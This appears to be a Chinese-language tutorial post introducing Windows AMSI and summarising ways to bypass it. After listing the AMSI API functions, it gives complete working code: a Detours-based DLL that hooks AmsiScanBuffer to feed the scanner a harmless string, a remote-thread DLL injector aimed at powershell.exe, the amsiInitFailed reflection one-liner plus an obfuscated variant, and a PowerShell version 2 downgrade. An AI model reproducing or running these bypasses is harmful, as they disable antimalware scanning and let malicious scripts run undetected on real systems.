AMSI简介及绕过方法总结

AmsiCloseSession            关闭由 AmsiOpenSession 打开的会话
AmsiInitialize              初始化 AMSI API
AmsiNotifyOperation         向反恶意软件提供程序发送任意操作的通知
AmsiOpenSession             打开一个会话，在该会话中可以关联多个扫描请求
AmsiResultIsMalware         确定扫描结果是否指示应阻止内容
AmsiScanBuffer              扫描缓冲区内容寻找恶意软件
AmsiScanString              扫描字符串中的恶意软件
AmsiUninitialize            删除最初由 AmsiInitialize 打开的 AMSI API 实例

IAmsiStream 接口                                  表示要扫描的流
    IAmsiStream：：GetAttribute 方法               流中返回请求的属性
    IAmsiStream：：Read 方法                       请求要读取的缓冲区内容
     
 
IAntimalware 接口                                 表示反恶意软件产品
    IAntimalware：：CloseSession 方法              关闭会话
    IAntimalware：：Scan 方法                      扫描内容流
           
IAntimalware2 接口                                表示反恶意软件产品
    IAntimalware2：：Notify 方法                   向反恶意软件产品发送任意操作的通知
 
IAntimalwareProvider 接口                         表示反恶意软件产品的提供商               
    IAntimalwareProvider：：CloseSession 方法      关闭会话
    IAntimalwareProvider：：DisplayName 方法       要显示的反恶意软件提供程序的名称
    IAntimalwareProvider：：Scan 方法              扫描内容流  
                     
IAntimalwareProvider2 接口                        表示反恶意软件产品的提供商
    IAntimalwareProvider2：：Notify 方法           向反恶意软件提供程序发送任意操作的通知

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,  // AMSI 上下文句柄
  PVOID        buffer,       // 待扫描数据指针
  ULONG        length,       // 数据长度
  LPCWSTR      contentName,  // 内容标识（如脚本名）
  HAMSISESSION amsiSession,  // 会话句柄（可选）
  AMSI_RESULT *result        // 输出扫描结果
);

#include "pch.h"
#include <Windows.h>
#include "detours.h"
#include <amsi.h>
#include <iostream>
#include <sstream>
#include <iomanip>
#include "detours.h"
#pragma comment(lib, "amsi.lib")
 
#define SAFE "SafeString"
 
// 保存原始的 AmsiScanBuffer 函数地址，以便在自定义函数中调用
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) = AmsiScanBuffer;
 
// 自定义函数 _AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID buffer, ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) {
 
    std::cout << "[+] AmsiScanBuffer called" << std::endl;
    std::cout << "[+] Buffer " << buffer << std::endl;
    std::cout << "[+] Buffer Length " << length << std::endl;
     
    // 将传入的 buffer（实际扫描内容）替换为 SAFE（无害字符串）
    // 调用原始 AmsiScanBuffer，但传入的是篡改后的内容，从而绕过检测
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
 
// DLL 入口点
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  dwReason,
    LPVOID lpReserved
)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }
     
    // 初始化hook
    if (dwReason == DLL_PROCESS_ATTACH) {
 
        AllocConsole();
        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
 
        DetourRestoreAfterWith();
        LONG error = DetourTransactionBegin();
        if (error != NO_ERROR) {
            std::cerr << "[!] Transaction Begin Failed: " << error << std::endl;
            return FALSE;
        }
 
        error = DetourUpdateThread(GetCurrentThread());
        if (error != NO_ERROR) {
            std::cerr << "[!] UpdateThread Failed: " << error << std::endl;
            DetourTransactionAbort();
            return FALSE;
        }
         
        // 在 DLL 加载时，使用 DetourAttach 将 AmsiScanBuffer 替换为 _AmsiScanBuffer
        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        error = DetourTransactionCommit();
        if (error != NO_ERROR) {
            std::cerr << "[!] Commit Failed: " << error << std::endl;
            return FALSE;
        }
        else {
            std::cout << "[+] Detour Success!" << std::endl;
        }
    }
    // DLL 卸载，恢复原始函数
    else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
        DetourTransactionCommit();
        FreeConsole();
    }
    return TRUE;
}

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
 
// 注入DLL
BOOL InjectDll(DWORD procID, const char* dllName) {
    char fullDllName[MAX_PATH];
    LPVOID loadLibrary;
    LPVOID remoteString;
 
    if (procID == 0) {
        return FALSE;
    }
     
    // 打开目标进程，获取进程句柄
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
    if (hProc == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
     
    // 获取DLL文件的完整路径
    GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
    std::cout << "[+] Acquired full DLL path: " << fullDllName << std::endl;
     
    // 获取 LoadLibraryA 函数的地址，用于在目标进程中加载 DLL
    loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
 
    // 在目标进程中分配内存，用于存储 DLL 路径
    remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
     
    // 将 DLL 路径写入目标进程的内存
    WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
 
    // 在目标进程中创建远程线程，调用 LoadLibraryA 加载 DLL
    CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, remoteString, NULL, NULL);
     
    // 关闭目标进程句柄
    CloseHandle(hProc);
    return TRUE;
}
 
// 通过进程名获取进程PID
DWORD GetProcIDByName(const char* procName) {
    HANDLE hSnap;
    BOOL done;
    PROCESSENTRY32 procEntry;
 
    ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
    procEntry.dwSize = sizeof(PROCESSENTRY32);
     
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 获取系统进程快照
    done = Process32First(hSnap, &procEntry); // 初始化 PROCESSENTRY32 结构体，用于存储进程信息
     
    // 遍历进程快照，查找与 procName 匹配的进程，如果找到匹配的进程，返回其 PID；否则返回 0
    do {
        char szExeFile[MAX_PATH];
        WideCharToMultiByte(CP_ACP, 0, procEntry.szExeFile, -1, szExeFile, MAX_PATH, NULL, NULL);
        if (_strnicmp(szExeFile, procName, strlen(procName)) == 0) {
            return procEntry.th32ProcessID;
        }
    } while (Process32Next(hSnap, &procEntry));
 
    return 0;
}
 
int main() {
    const char* processName = "powershell.exe";
    const char* dllName = "C:\Users\Administrator\Desktop\AmsiHookDll.dll";
    DWORD procID = GetProcIDByName(processName);
 
    if (procID == 0) {
        std::cout << "[-] Could not find process with name: " << processName << std::endl;
        return 1;
    }
 
    std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl;
 
    if (InjectDll(procID, dllName)) {
        std::cout << "DLL injected successfully!" << std::endl;
    }
    else {
        std::cout << "DLL injection failed" << std::endl;
    }
 
    return 0;
}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$a="5391858671791647678067737179718086163587868179678675818"
$b="0163579857555867578856779857543807586406775787170"

$c=[string](0..37|%{[char][int](30+($a+$b).substring(($_*2),2))})-replace " "

$e=[string](38..51|%{[char][int](30+($a+$b).substring(($_*2),2))})-replace " "

$d=[Ref].Assembly.GetType($c)          # 获取AmsiUtils类型
$f=$d.GetField($e,'NonPublic,Static')  # 获取amsiInitFailed字段
$f.SetValue($null,$true)               # 设置字段值为true

powershell.exe -version 2